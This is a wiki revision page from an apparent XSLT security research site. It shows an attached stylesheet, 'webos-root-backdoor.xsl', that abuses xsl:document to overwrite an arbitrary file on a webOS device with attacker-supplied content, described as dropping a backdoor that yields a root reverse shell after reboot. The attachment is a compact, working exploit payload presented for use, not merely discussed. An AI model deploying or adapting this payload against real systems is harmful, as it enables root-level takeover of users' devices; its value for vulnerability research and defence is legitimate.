Changes for page Application_Webkit

Last modified by Nicolas Gregoire on 2012/01/14 17:48
<
From version < 4.1 >
edited by Nicolas Gregoire
on 2012/01/13 23:56
To version < 5.1 >
edited by Nicolas Gregoire
on 2012/01/13 23:57
>
Change comment: Upload new attachment webos-root-backdoor.xsl

Summary

Details

Icon webos-root-backdoor.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +816 bytes
Content
... ... @@ -1,0 +1,17 @@
1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
2 + <!-- Of course, the webOS browser runs as 'root' ;-) -->
3 + <xsl:template match="/">
4 + <!-- Grab some values from the XML file -->
5 + <xsl:variable name="content" select="//content/text()"/>
6 + <xsl:variable name="location" select="//location/text()"/>
7 + <html><body>
8 + <!-- Drop the backdoor, overwriting the previous configuration file -->
9 + <xsl:document href="{$location}" method="text"><xsl:copy-of select="$content"/></xsl:document>
10 + <!-- Display something to the user -->
11 + File '<xsl:copy-of select="$location"/>' has been overwritten ...<br/>
12 + <!-- Ask for a reboot. We could force it too ... -->
13 + Now reboot and wait for your reverse-shell ;-)<br/>
14 + </body></html>
15 + </xsl:template>
16 +</xsl:stylesheet>
17 +

Welcome

Welcome on the XSLT Hacking Encyclopedia !

You may be interested by the Engines and Applications pages.

Link to the blog
Twitter: @Agarri_FR

Recently Modified

$msg.get("xe.tag.tagcloud") | Default Class Sheet | Activity Stream |  Attachments | Space Index

Tag Cloud

Failed to execute the [velocity] macro. Cause: [The execution of the [velocity] script macro is not allowed in [xhe:XWiki.TagCloud]. Check the rights of its last author or the parameters if it's rendered from another script.]. Click on this message for details.

Content by Nicolas Grégoire / Agarri
Blog - Follow me @Agarri_FR